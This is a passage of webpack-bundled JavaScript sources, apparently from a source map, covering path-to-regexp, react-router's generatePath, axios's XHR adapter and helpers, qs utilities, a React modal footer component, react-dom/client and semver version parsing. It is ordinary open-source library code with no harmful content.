regular expression.\n *\n * An empty array can be passed in for the keys, which will hold the\n * placeholder key descriptions. For example, using `/user/:id`, `keys` will\n * contain `[{ name: 'id', delimiter: '/', optional: false, repeat: false }]`.\n *\n * @param  {(string|RegExp|Array)} path\n * @param  {(Array|Object)=}       keys\n * @param  {Object=}               options\n * @return {!RegExp}\n */\nfunction pathToRegexp (path, keys, options) {\n  if (!isarray(keys)) {\n    options = /** @type {!Object} */ (keys || options)\n    keys = []\n  }\n\n  options = options || {}\n\n  if (path instanceof RegExp) {\n    return regexpToRegexp(path, /** @type {!Array} */ (keys))\n  }\n\n  if (isarray(path)) {\n    return arrayToRegexp(/** @type {!Array} */ (path), /** @type {!Array} */ (keys), options)\n  }\n\n  return stringToRegexp(/** @type {string} */ (path), /** @type {!Array} */ (keys), options)\n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/path-to-regexp/index.js\n// module id = 78\n// module chunks = 0 1 2 3 4","import pathToRegexp from \"path-to-regexp\";\n\nvar patternCache = {};\nvar cacheLimit = 10000;\nvar cacheCount = 0;\n\nvar compileGenerator = function compileGenerator(pattern) {\n  var cacheKey = pattern;\n  var cache = patternCache[cacheKey] || (patternCache[cacheKey] = {});\n\n  if (cache[pattern]) return cache[pattern];\n\n  var compiledGenerator = pathToRegexp.compile(pattern);\n\n  if (cacheCount < cacheLimit) {\n    cache[pattern] = compiledGenerator;\n    cacheCount++;\n  }\n\n  return compiledGenerator;\n};\n\n/**\n * Public API for generating a URL pathname from a pattern and parameters.\n */\nvar generatePath = function generatePath() {\n  var pattern = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : \"/\";\n  var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};\n\n  if (pattern === \"/\") {\n    return pattern;\n  }\n  var generator = compileGenerator(pattern);\n  return generator(params, { pretty: true });\n};\n\nexport default generatePath;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router/es/generatePath.js\n// module id = 79\n// module chunks = 0 1 2 3 4","'use strict';\n\nmodule.exports = function bind(fn, thisArg) {\n  return function wrap() {\n    var args = new Array(arguments.length);\n    for (var i = 0; i < args.length; i++) {\n      args[i] = arguments[i];\n    }\n    return fn.apply(thisArg, args);\n  };\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/helpers/bind.js\n// module id = 80\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./../utils');\nvar settle = require('./../core/settle');\nvar buildURL = require('./../helpers/buildURL');\nvar parseHeaders = require('./../helpers/parseHeaders');\nvar isURLSameOrigin = require('./../helpers/isURLSameOrigin');\nvar createError = require('../core/createError');\nvar btoa = (typeof window !== 'undefined' && window.btoa && window.btoa.bind(window)) || require('./../helpers/btoa');\n\nmodule.exports = function xhrAdapter(config) {\n  return new Promise(function dispatchXhrRequest(resolve, reject) {\n    var requestData = config.data;\n    var requestHeaders = config.headers;\n\n    if (utils.isFormData(requestData)) {\n      delete requestHeaders['Content-Type']; // Let the browser set it\n    }\n\n    var request = new XMLHttpRequest();\n    var loadEvent = 'onreadystatechange';\n    var xDomain = false;\n\n    // For IE 8/9 CORS support\n    // Only supports POST and GET calls and doesn't returns the response headers.\n    // DON'T do this for testing b/c XMLHttpRequest is mocked, not XDomainRequest.\n    if (process.env.NODE_ENV !== 'test' &&\n        typeof window !== 'undefined' &&\n        window.XDomainRequest && !('withCredentials' in request) &&\n        !isURLSameOrigin(config.url)) {\n      request = new window.XDomainRequest();\n      loadEvent = 'onload';\n      xDomain = true;\n      request.onprogress = function handleProgress() {};\n      request.ontimeout = function handleTimeout() {};\n    }\n\n    // HTTP basic authentication\n    if (config.auth) {\n      var username = config.auth.username || '';\n      var password = config.auth.password || '';\n      requestHeaders.Authorization = 'Basic ' + btoa(username + ':' + password);\n    }\n\n    request.open(config.method.toUpperCase(), buildURL(config.url, config.params, config.paramsSerializer), true);\n\n    // Set the request timeout in MS\n    request.timeout = config.timeout;\n\n    // Listen for ready state\n    request[loadEvent] = function handleLoad() {\n      if (!request || (request.readyState !== 4 && !xDomain)) {\n        return;\n      }\n\n      // The request errored out and we didn't get a response, this will be\n      // handled by onerror instead\n      // With one exception: request that using file: protocol, most browsers\n      // will return status as 0 even though it's a successful request\n      if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n        return;\n      }\n\n      // Prepare the response\n      var responseHeaders = 'getAllResponseHeaders' in request ? parseHeaders(request.getAllResponseHeaders()) : null;\n      var responseData = !config.responseType || config.responseType === 'text' ? request.responseText : request.response;\n      var response = {\n        data: responseData,\n        // IE sends 1223 instead of 204 (https://github.com/axios/axios/issues/201)\n        status: request.status === 1223 ? 204 : request.status,\n        statusText: request.status === 1223 ? 'No Content' : request.statusText,\n        headers: responseHeaders,\n        config: config,\n        request: request\n      };\n\n      settle(resolve, reject, response);\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle low level network errors\n    request.onerror = function handleError() {\n      // Real errors are hidden from us by the browser\n      // onerror should only fire if it's a network error\n      reject(createError('Network Error', config, null, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle timeout\n    request.ontimeout = function handleTimeout() {\n      reject(createError('timeout of ' + config.timeout + 'ms exceeded', config, 'ECONNABORTED',\n        request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Add xsrf header\n    // This is only done if running in a standard browser environment.\n    // Specifically not if we're in a web worker, or react-native.\n    if (utils.isStandardBrowserEnv()) {\n      var cookies = require('./../helpers/cookies');\n\n      // Add xsrf header\n      var xsrfValue = (config.withCredentials || isURLSameOrigin(config.url)) && config.xsrfCookieName ?\n          cookies.read(config.xsrfCookieName) :\n          undefined;\n\n      if (xsrfValue) {\n        requestHeaders[config.xsrfHeaderName] = xsrfValue;\n      }\n    }\n\n    // Add headers to the request\n    if ('setRequestHeader' in request) {\n      utils.forEach(requestHeaders, function setRequestHeader(val, key) {\n        if (typeof requestData === 'undefined' && key.toLowerCase() === 'content-type') {\n          // Remove Content-Type if data is undefined\n          delete requestHeaders[key];\n        } else {\n          // Otherwise add header to the request\n          request.setRequestHeader(key, val);\n        }\n      });\n    }\n\n    // Add withCredentials to request if needed\n    if (config.withCredentials) {\n      request.withCredentials = true;\n    }\n\n    // Add responseType to request if needed\n    if (config.responseType) {\n      try {\n        request.responseType = config.responseType;\n      } catch (e) {\n        // Expected DOMException thrown by browsers not compatible XMLHttpRequest Level 2.\n        // But, this can be suppressed for 'json' type as it can be parsed by default 'transformResponse' function.\n        if (config.responseType !== 'json') {\n          throw e;\n        }\n      }\n    }\n\n    // Handle progress if needed\n    if (typeof config.onDownloadProgress === 'function') {\n      request.addEventListener('progress', config.onDownloadProgress);\n    }\n\n    // Not all browsers support upload events\n    if (typeof config.onUploadProgress === 'function' && request.upload) {\n      request.upload.addEventListener('progress', config.onUploadProgress);\n    }\n\n    if (config.cancelToken) {\n      // Handle cancellation\n      config.cancelToken.promise.then(function onCanceled(cancel) {\n        if (!request) {\n          return;\n        }\n\n        request.abort();\n        reject(cancel);\n        // Clean up request\n        request = null;\n      });\n    }\n\n    if (requestData === undefined) {\n      requestData = null;\n    }\n\n    // Send the request\n    request.send(requestData);\n  });\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/adapters/xhr.js\n// module id = 81\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar enhanceError = require('./enhanceError');\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {Object} config The config.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n * @returns {Error} The created error.\n */\nmodule.exports = function createError(message, config, code, request, response) {\n  var error = new Error(message);\n  return enhanceError(error, config, code, request, response);\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/core/createError.js\n// module id = 82\n// module chunks = 0 1 2 3 4","'use strict';\n\nmodule.exports = function isCancel(value) {\n  return !!(value && value.__CANCEL__);\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/cancel/isCancel.js\n// module id = 83\n// module chunks = 0 1 2 3 4","'use strict';\n\n/**\n * A `Cancel` is an object that is thrown when an operation is canceled.\n *\n * @class\n * @param {string=} message The message.\n */\nfunction Cancel(message) {\n  this.message = message;\n}\n\nCancel.prototype.toString = function toString() {\n  return 'Cancel' + (this.message ? ': ' + this.message : '');\n};\n\nCancel.prototype.__CANCEL__ = true;\n\nmodule.exports = Cancel;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/cancel/Cancel.js\n// module id = 84\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar has = Object.prototype.hasOwnProperty;\n\nvar hexTable = (function () {\n    var array = [];\n    for (var i = 0; i < 256; ++i) {\n        array.push('%' + ((i < 16 ? '0' : '') + i.toString(16)).toUpperCase());\n    }\n\n    return array;\n}());\n\nvar compactQueue = function compactQueue(queue) {\n    var obj;\n\n    while (queue.length) {\n        var item = queue.pop();\n        obj = item.obj[item.prop];\n\n        if (Array.isArray(obj)) {\n            var compacted = [];\n\n            for (var j = 0; j < obj.length; ++j) {\n                if (typeof obj[j] !== 'undefined') {\n                    compacted.push(obj[j]);\n                }\n            }\n\n            item.obj[item.prop] = compacted;\n        }\n    }\n\n    return obj;\n};\n\nvar arrayToObject = function arrayToObject(source, options) {\n    var obj = options && options.plainObjects ? Object.create(null) : {};\n    for (var i = 0; i < source.length; ++i) {\n        if (typeof source[i] !== 'undefined') {\n            obj[i] = source[i];\n        }\n    }\n\n    return obj;\n};\n\nvar merge = function merge(target, source, options) {\n    if (!source) {\n        return target;\n    }\n\n    if (typeof source !== 'object') {\n        if (Array.isArray(target)) {\n            target.push(source);\n        } else if (typeof target === 'object') {\n            if (options.plainObjects || options.allowPrototypes || !has.call(Object.prototype, source)) {\n                target[source] = true;\n            }\n        } else {\n            return [target, source];\n        }\n\n        return target;\n    }\n\n    if (typeof target !== 'object') {\n        return [target].concat(source);\n    }\n\n    var mergeTarget = target;\n    if (Array.isArray(target) && !Array.isArray(source)) {\n        mergeTarget = arrayToObject(target, options);\n    }\n\n    if (Array.isArray(target) && Array.isArray(source)) {\n        source.forEach(function (item, i) {\n            if (has.call(target, i)) {\n                if (target[i] && typeof target[i] === 'object') {\n                    target[i] = merge(target[i], item, options);\n                } else {\n                    target.push(item);\n                }\n            } else {\n                target[i] = item;\n            }\n        });\n        return target;\n    }\n\n    return Object.keys(source).reduce(function (acc, key) {\n        var value = source[key];\n\n        if (has.call(acc, key)) {\n            acc[key] = merge(acc[key], value, options);\n        } else {\n            acc[key] = value;\n        }\n        return acc;\n    }, mergeTarget);\n};\n\nvar assign = function assignSingleSource(target, source) {\n    return Object.keys(source).reduce(function (acc, key) {\n        acc[key] = source[key];\n        return acc;\n    }, target);\n};\n\nvar decode = function (str) {\n    try {\n        return decodeURIComponent(str.replace(/\\+/g, ' '));\n    } catch (e) {\n        return str;\n    }\n};\n\nvar encode = function encode(str) {\n    // This code was originally written by Brian White (mscdex) for the io.js core querystring library.\n    // It has been adapted here for stricter adherence to RFC 3986\n    if (str.length === 0) {\n        return str;\n    }\n\n    var string = typeof str === 'string' ? str : String(str);\n\n    var out = '';\n    for (var i = 0; i < string.length; ++i) {\n        var c = string.charCodeAt(i);\n\n        if (\n            c === 0x2D // -\n            || c === 0x2E // .\n            || c === 0x5F // _\n            || c === 0x7E // ~\n            || (c >= 0x30 && c <= 0x39) // 0-9\n            || (c >= 0x41 && c <= 0x5A) // a-z\n            || (c >= 0x61 && c <= 0x7A) // A-Z\n        ) {\n            out += string.charAt(i);\n            continue;\n        }\n\n        if (c < 0x80) {\n            out = out + hexTable[c];\n            continue;\n        }\n\n        if (c < 0x800) {\n            out = out + (hexTable[0xC0 | (c >> 6)] + hexTable[0x80 | (c & 0x3F)]);\n            continue;\n        }\n\n        if (c < 0xD800 || c >= 0xE000) {\n            out = out + (hexTable[0xE0 | (c >> 12)] + hexTable[0x80 | ((c >> 6) & 0x3F)] + hexTable[0x80 | (c & 0x3F)]);\n            continue;\n        }\n\n        i += 1;\n        c = 0x10000 + (((c & 0x3FF) << 10) | (string.charCodeAt(i) & 0x3FF));\n        out += hexTable[0xF0 | (c >> 18)]\n            + hexTable[0x80 | ((c >> 12) & 0x3F)]\n            + hexTable[0x80 | ((c >> 6) & 0x3F)]\n            + hexTable[0x80 | (c & 0x3F)];\n    }\n\n    return out;\n};\n\nvar compact = function compact(value) {\n    var queue = [{ obj: { o: value }, prop: 'o' }];\n    var refs = [];\n\n    for (var i = 0; i < queue.length; ++i) {\n        var item = queue[i];\n        var obj = item.obj[item.prop];\n\n        var keys = Object.keys(obj);\n        for (var j = 0; j < keys.length; ++j) {\n            var key = keys[j];\n            var val = obj[key];\n            if (typeof val === 'object' && val !== null && refs.indexOf(val) === -1) {\n                queue.push({ obj: obj, prop: key });\n                refs.push(val);\n            }\n        }\n    }\n\n    return compactQueue(queue);\n};\n\nvar isRegExp = function isRegExp(obj) {\n    return Object.prototype.toString.call(obj) === '[object RegExp]';\n};\n\nvar isBuffer = function isBuffer(obj) {\n    if (obj === null || typeof obj === 'undefined') {\n        return false;\n    }\n\n    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));\n};\n\nmodule.exports = {\n    arrayToObject: arrayToObject,\n    assign: assign,\n    compact: compact,\n    decode: decode,\n    encode: encode,\n    isBuffer: isBuffer,\n    isRegExp: isRegExp,\n    merge: merge\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/qs/lib/utils.js\n// module id = 85\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar replace = String.prototype.replace;\nvar percentTwenties = /%20/g;\n\nmodule.exports = {\n    'default': 'RFC3986',\n    formatters: {\n        RFC1738: function (value) {\n            return replace.call(value, percentTwenties, '+');\n        },\n        RFC3986: function (value) {\n            return value;\n        }\n    },\n    RFC1738: 'RFC1738',\n    RFC3986: 'RFC3986'\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/qs/lib/formats.js\n// module id = 86\n// module chunks = 0 1 2 3 4","import React, { Component } from 'react';\n\nexport default class ModalFooter extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst children = React.Children.map( this.props.children, footerChildren => {\n\t\t\treturn footerChildren;\n\t\t} );\n\n\t\tconst alignment = ( ! _.isUndefined( this.props.alignment ) && '' !== this.props.alignment )\n\t\t\t? this.props.alignment\n\t\t\t: '';\n\n\t\tconst flatten = ( ! _.isUndefined( this.props.flatten ) && true === this.props.flatten )\n\t\t\t? true\n\t\t\t: false;\n\n\t\t// eslint-disable-next-line max-len\n\t\tconst hasClass = ( ! _.isUndefined( this.props.customClass ) && '' !== this.props.customClass )\n\t\t\t? true\n\t\t\t: false;\n\n\t\tlet elClass = 'sui-box-footer';\n\n\t\tif ( true === flatten ) {\n\t\t\telClass += ' sui-flatten';\n\t\t}\n\n\t\tif ( '' !== alignment ) {\n\t\t\telClass += ' sui-content-' + alignment;\n\t\t}\n\n\t\tif ( true === hasClass ) {\n\t\t\telClass += ' ' + this.props.customClass;\n\t\t}\n\n\t\treturn (\n\t\t\t<div className={ elClass }>\n\t\t\t\t{ children }\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/modals/partials/footer.js","import { render, version } from 'react-dom';\nimport { createRoot } from 'react-dom/client';\nimport semver from 'semver';\n\n/**\n * render Block\n **/\nexport function renderBlock( containerId, element ) {\n\tconst container = document.getElementById( containerId );\n\n\t// If container is hidden in PHP.\n\tif ( _.isNull( container ) ) {\n\t\treturn;\n\t}\n\n\tif (semver.gte(version, '18.0.0')) {\n\t\t// React 18 or higher.\n\t\tconst root = createRoot( container );\n\t\troot.render(\n\t\t\telement\n\t\t);\n\t} else {\n\t\trender(\n\t\t\telement,\n\t\t\tcontainer\n\t\t);\n\t}\n}\n\n\n// WEBPACK FOOTER //\n// ./src/renderBlock.js","'use strict';\n\nvar m = require('react-dom');\nif (process.env.NODE_ENV === 'production') {\n  exports.createRoot = m.createRoot;\n  exports.hydrateRoot = m.hydrateRoot;\n} else {\n  var i = m.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;\n  exports.createRoot = function(c, o) {\n    i.usingClientEntryPoint = true;\n    try {\n      return m.createRoot(c, o);\n    } finally {\n      i.usingClientEntryPoint = false;\n    }\n  };\n  exports.hydrateRoot = function(c, h, o) {\n    i.usingClientEntryPoint = true;\n    try {\n      return m.hydrateRoot(c, h, o);\n    } finally {\n      i.usingClientEntryPoint = false;\n    }\n  };\n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-dom/client.js\n// module id = 90\n// module chunks = 0 1 2 3 4 5","exports = module.exports = SemVer;\n\n// The debug function is excluded entirely from the minified version.\n/* nomin */ var debug;\n/* nomin */ if (typeof process === 'object' &&\n    /* nomin */ process.env &&\n    /* nomin */ process.env.NODE_DEBUG &&\n    /* nomin */ /\\bsemver\\b/i.test(process.env.NODE_DEBUG))\n  /* nomin */ debug = function() {\n    /* nomin */ var args = Array.prototype.slice.call(arguments, 0);\n    /* nomin */ args.unshift('SEMVER');\n    /* nomin */ console.log.apply(console, args);\n    /* nomin */ };\n/* nomin */ else\n  /* nomin */ debug = function() {};\n\n// Note: this is the semver.org version of the spec that it implements\n// Not necessarily the package version of this code.\nexports.SEMVER_SPEC_VERSION = '2.0.0';\n\nvar MAX_LENGTH = 256;\nvar MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER || 9007199254740991;\n\n// Max safe segment length for coercion.\nvar MAX_SAFE_COMPONENT_LENGTH = 16;\n\n// The actual regexps go on exports.re\nvar re = exports.re = [];\nvar src = exports.src = [];\nvar R = 0;\n\n// The following Regular Expressions can be used for tokenizing,\n// validating, and parsing SemVer version strings.\n\n// ## Numeric Identifier\n// A single `0`, or a non-zero digit followed by zero or more digits.\n\nvar NUMERICIDENTIFIER = R++;\nsrc[NUMERICIDENTIFIER] = '0|[1-9]\\\\d*';\nvar NUMERICIDENTIFIERLOOSE = R++;\nsrc[NUMERICIDENTIFIERLOOSE] = '[0-9]+';\n\n\n// ## Non-numeric Identifier\n// Zero or more digits, followed by a letter or hyphen, and then zero or\n// more letters, digits, or hyphens.\n\nvar NONNUMERICIDENTIFIER = R++;\nsrc[NONNUMERICIDENTIFIER] = '\\\\d*[a-zA-Z-][a-zA-Z0-9-]*';\n\n\n// ## Main Version\n// Three dot-separated numeric identifiers.\n\nvar MAINVERSION = R++;\nsrc[MAINVERSION] = '(' + src[NUMERICIDENTIFIER] + ')\\\\.' +\n                   '(' + src[NUMERICIDENTIFIER] + ')\\\\.' +\n                   '(' + src[NUMERICIDENTIFIER] + ')';\n\nvar MAINVERSIONLOOSE = R++;\nsrc[MAINVERSIONLOOSE] = '(' + src[NUMERICIDENTIFIERLOOSE] + ')\\\\.' +\n                        '(' + src[NUMERICIDENTIFIERLOOSE] + ')\\\\.' +\n                        '(' + src[NUMERICIDENTIFIERLOOSE] + ')';\n\n// ## Pre-release Version Identifier\n// A numeric identifier, or a non-numeric identifier.\n\nvar PRERELEASEIDENTIFIER = R++;\nsrc[PRERELEASEIDENTIFIER] = '(?:' + src[NUMERICIDENTIFIER] +\n                            '|' + src[NONNUMERICIDENTIFIER] + ')';\n\nvar PRERELEASEIDENTIFIERLOOSE = R++;\nsrc[PRERELEASEIDENTIFIERLOOSE] = '(?:' + src[NUMERICIDENTIFIERLOOSE] +\n                                 '|' + src[NONNUMERICIDENTIFIER] + ')';\n\n\n// ## Pre-release Version\n// Hyphen, followed by one or more dot-separated pre-release version\n// identifiers.\n\nvar PRERELEASE = R++;\nsrc[PRERELEASE] = '(?:-(' + src[PRERELEASEIDENTIFIER] +\n                  '(?:\\\\.' + src[PRERELEASEIDENTIFIER] + ')*))';\n\nvar PRERELEASELOOSE = R++;\nsrc[PRERELEASELOOSE] = '(?:-?(' + src[PRERELEASEIDENTIFIERLOOSE] +\n                       '(?:\\\\.' + src[PRERELEASEIDENTIFIERLOOSE] + ')*))';\n\n// ## Build Metadata Identifier\n// Any combination of digits, letters, or hyphens.\n\nvar BUILDIDENTIFIER = R++;\nsrc[BUILDIDENTIFIER] = '[0-9A-Za-z-]+';\n\n// ## Build Metadata\n// Plus sign, followed by one or more period-separated build metadata\n// identifiers.\n\nvar BUILD = R++;\nsrc[BUILD] = '(?:\\\\+(' + src[BUILDIDENTIFIER] +\n             '(?:\\\\.' + src[BUILDIDENTIFIER] + ')*))';\n\n\n// ## Full Version String\n// A main version, followed optionally by a pre-release version and\n// build metadata.\n\n// Note that the only major, minor, patch, and pre-release sections of\n// the version string are capturing groups.  The build metadata is not a\n// capturing group, because it should not ever be used in version\n// comparison.\n\nvar FULL = R++;\nvar FULLPLAIN = 'v?' + src[MAINVERSION] +\n                src[PRERELEASE] + '?' +\n                src[BUILD] + '?';\n\nsrc[FULL] = '^' + FULLPLAIN + '$';\n\n// like full, but allows v1.2.3 and =1.2.3, which people do sometimes.\n// also, 1.0.0alpha1 (prerelease without the hyphen) which is pretty\n// common in the npm registry.\nvar LOOSEPLAIN = '[v=\\\\s]*' + src[MAINVERSIONLOOSE] +\n                 src[PRERELEASELOOSE] + '?' +\n                 src[BUILD] + '?';\n\nvar LOOSE = R++;\nsrc[LOOSE] = '^' + LOOSEPLAIN + '$';\n\nvar GTLT = R++;\nsrc[GTLT] = '((?:<|>)?=?)';\n\n// Something like \"2.*\" or \"1.2.x\".\n// Note that \"x.x\" is a valid xRange identifer, meaning \"any version\"\n// Only the first item is strictly required.\nvar XRANGEIDENTIFIERLOOSE = R++;\nsrc[XRANGEIDENTIFIERLOOSE] = src[NUMERICIDENTIFIERLOOSE] + '|x|X|\\\\*';\nvar XRANGEIDENTIFIER = R++;\nsrc[XRANGEIDENTIFIER] = src[NUMERICIDENTIFIER] + '|x|X|\\\\*';\n\nvar XRANGEPLAIN = R++;\nsrc[XRANGEPLAIN] = '[v=\\\\s]*(' + src[XRANGEIDENTIFIER] + ')' +\n                   '(?:\\\\.(' + src[XRANGEIDENTIFIER] + ')' +\n                   '(?:\\\\.(' + src[XRANGEIDENTIFIER] + ')' +\n                   '(?:' + src[PRERELEASE] + ')?' +\n                   src[BUILD] + '?' +\n                   ')?)?';\n\nvar XRANGEPLAINLOOSE = R++;\nsrc[XRANGEPLAINLOOSE] = '[v=\\\\s]*(' + src[XRANGEIDENTIFIERLOOSE] + ')' +\n                        '(?:\\\\.(' + src[XRANGEIDENTIFIERLOOSE] + ')' +\n                        '(?:\\\\.(' + src[XRANGEIDENTIFIERLOOSE] + ')' +\n                        '(?:' + src[PRERELEASELOOSE] + ')?' +\n                        src[BUILD] + '?' +\n                        ')?)?';\n\nvar XRANGE = R++;\nsrc[XRANGE] = '^' + src[GTLT] + '\\\\s*' + src[XRANGEPLAIN] + '$';\nvar XRANGELOOSE = R++;\nsrc[XRANGELOOSE] = '^' + src[GTLT] + '\\\\s*' + src[XRANGEPLAINLOOSE] + '$';\n\n// Coercion.\n// Extract anything that could conceivably be a part of a valid semver\nvar COERCE = R++;\nsrc[COERCE] = '(?:^|[^\\\\d])' +\n              '(\\\\d{1,' + MAX_SAFE_COMPONENT_LENGTH + '})' +\n              '(?:\\\\.(\\\\d{1,' + MAX_SAFE_COMPONENT_LENGTH + '}))?' +\n              '(?:\\\\.(\\\\d{1,' + MAX_SAFE_COMPONENT_LENGTH + '}))?' +\n              '(?:$|[^\\\\d])';\n\n// Tilde ranges.\n// Meaning is \"reasonably at or greater than\"\nvar LONETILDE = R++;\nsrc[LONETILDE] = '(?:~>?)';\n\nvar TILDETRIM = R++;\nsrc[TILDETRIM] = '(\\\\s*)' + src[LONETILDE] + '\\\\s+';\nre[TILDETRIM] = new RegExp(src[TILDETRIM], 'g');\nvar tildeTrimReplace = '$1~';\n\nvar TILDE = R++;\nsrc[TILDE] = '^' + src[LONETILDE] + src[XRANGEPLAIN] + '$';\nvar TILDELOOSE = R++;\nsrc[TILDELOOSE] = '^' + src[LONETILDE] + src[XRANGEPLAINLOOSE] + '$';\n\n// Caret ranges.\n// Meaning is \"at least and backwards compatible with\"\nvar LONECARET = R++;\nsrc[LONECARET] = '(?:\\\\^)';\n\nvar CARETTRIM = R++;\nsrc[CARETTRIM] = '(\\\\s*)' + src[LONECARET] + '\\\\s+';\nre[CARETTRIM] = new RegExp(src[CARETTRIM], 'g');\nvar caretTrimReplace = '$1^';\n\nvar CARET = R++;\nsrc[CARET] = '^' + src[LONECARET] + src[XRANGEPLAIN] + '$';\nvar CARETLOOSE = R++;\nsrc[CARETLOOSE] = '^' + src[LONECARET] + src[XRANGEPLAINLOOSE] + '$';\n\n// A simple gt/lt/eq thing, or just \"\" to indicate \"any version\"\nvar COMPARATORLOOSE = R++;\nsrc[COMPARATORLOOSE] = '^' + src[GTLT] + '\\\\s*(' + LOOSEPLAIN + ')$|^$';\nvar COMPARATOR = R++;\nsrc[COMPARATOR] = '^' + src[GTLT] + '\\\\s*(' + FULLPLAIN + ')$|^$';\n\n\n// An expression to strip any whitespace between the gtlt and the thing\n// it modifies, so that `> 1.2.3` ==> `>1.2.3`\nvar COMPARATORTRIM = R++;\nsrc[COMPARATORTRIM] = '(\\\\s*)' + src[GTLT] +\n                      '\\\\s*(' + LOOSEPLAIN + '|' + src[XRANGEPLAIN] + ')';\n\n// this one has to use the /g flag\nre[COMPARATORTRIM] = new RegExp(src[COMPARATORTRIM], 'g');\nvar comparatorTrimReplace = '$1$2$3';\n\n\n// Something like `1.2.3 - 1.2.4`\n// Note that these all use the loose form, because they'll be\n// checked against either the strict or loose comparator form\n// later.\nvar HYPHENRANGE = R++;\nsrc[HYPHENRANGE] = '^\\\\s*(' + src[XRANGEPLAIN] + ')' +\n                   '\\\\s+-\\\\s+' +\n                   '(' + src[XRANGEPLAIN] + ')' +\n                   '\\\\s*$';\n\nvar HYPHENRANGELOOSE = R++;\nsrc[HYPHENRANGELOOSE] = '^\\\\s*(' + src[XRANGEPLAINLOOSE] + ')' +\n                        '\\\\s+-\\\\s+' +\n                        '(' + src[XRANGEPLAINLOOSE] + ')' +\n                        '\\\\s*$';\n\n// Star ranges basically just allow anything at all.\nvar STAR = R++;\nsrc[STAR] = '(<|>)?=?\\\\s*\\\\*';\n\n// Compile to actual regexp objects.\n// All are flag-free, unless they were created above with a flag.\nfor (var i = 0; i < R; i++) {\n  debug(i, src[i]);\n  if (!re[i])\n    re[i] = new RegExp(src[i]);\n}\n\nexports.parse = parse;\nfunction parse(version, loose) {\n  if (version instanceof SemVer)\n    return version;\n\n  if (typeof version !== 'string')\n    return null;\n\n  if (version.length > MAX_LENGTH)\n    return null;\n\n  var r = loose ? re[LOOSE] : re[FULL];\n  if (!r.test(version))\n    return null;\n\n  try {\n    return new SemVer(version, loose);\n  } catch (er) {\n    return null;\n  }\n}\n\nexports.valid = valid;\nfunction valid(version, loose) {\n  var v = parse(version, loose);\n  return v ? v.version : null;\n}\n\n\nexports.clean = clean;\nfunction clean(version, loose) {\n  var s = parse(version.trim().replace(/^[=v]+/, ''), loose);\n  return s ? s.version : null;\n}\n\nexports.SemVer = SemVer;\n\nfunction SemVer(version, loose) {\n  if (version instanceof SemVer) {\n    if (version.loose === loose)\n      return version;\n    else\n      version = version.version;\n  } else if (typeof version !== 'string') {\n    throw new TypeError('Invalid Version: ' + version);\n  }\n\n  if (version.length > MAX_LENGTH)\n    throw new TypeError('version is longer than ' + MAX_LENGTH + ' characters')\n\n  if (!(this instanceof SemVer))\n    return new SemVer(version, loose);\n\n  debug('SemVer', version, loose);\n  this.loose = loose;\n  var m = version.trim().match(loose ? re[LOOSE] : re[FULL]);\n\n  if (!m)\n    throw new TypeError('Invalid Version: ' + version);\n\n  this.raw = version;\n\n  // these are actually numbers\n  this.major = +m[1];\n  this.minor = +m[2];\n  this.patch = +m[3];\n\n  if (this.major > MAX_SAFE_INTEGER || this.major < 0)\n    throw new TypeError('Invalid major version')\n\n  if (this.minor > MAX_SAFE_INTEGER || this.minor < 0)\n    throw new TypeError('Invalid minor version')\n\n  if (this.patch > MAX_SAFE_INTEGER || this.patch < 0)\n    throw new TypeError('Invalid patch version')\n\n  // numberify any prerelease numeric ids\n  if (!m[4])\n    this.prerelease = [];\n  else\n    this.prerelease = m[4].split('.').map(function(id) {\n      if (/^[0-9]+$/.test(id)) {\n        var num = +id;\n        if (num >= 0 && num < MAX_SAFE_INTEGER)\n          return num;\n      }\n      return id;\n    });\n\n  this.build = m[5] ? m[5].split('.') : [];\n  this.format();\n}\n\nSemVer.prototype.format = function() {\n  this.version = this.major + '.' + this.minor + '.' + this.patch;\n  if (this.prerelease.length)\n    this.version += '-' + this.prerelease.join('.');\n  return this.version;\n};\n\nSemVer.prototype.toString = function() {\n  return this.version;\n};\n\nSemVer.prototype.compare = function(other) {\n  debug('SemVer.compare', this.version, this.loose, other);\n  if (!(other instanceof SemVer))\n    other = new SemVer(other, this.loose);\n\n  return this.compareMain(other) || this.comparePre(other);\n};\n\nSemVer.prototype.compareMain = function(other) {\n  if (!(other instanceof SemVer))\n    other = new SemVer(other, this.loose);\n\n  return compareIdentifiers(this.major, other.major) ||\n         compareIdentifiers(this.minor, other.minor) ||\n         compareIdentifiers(this.patch, other.patch);\n};\n\nSemVer.prototype.comparePre = function(other) {\n  if (!(other instanceof SemVer))\n    other = new SemVer(other, this.loose);\n\n  // NOT having a prerelease is > having one\n  if (this.prerelease.length && !other.prerelease.length)\n    return -1;\n  else if 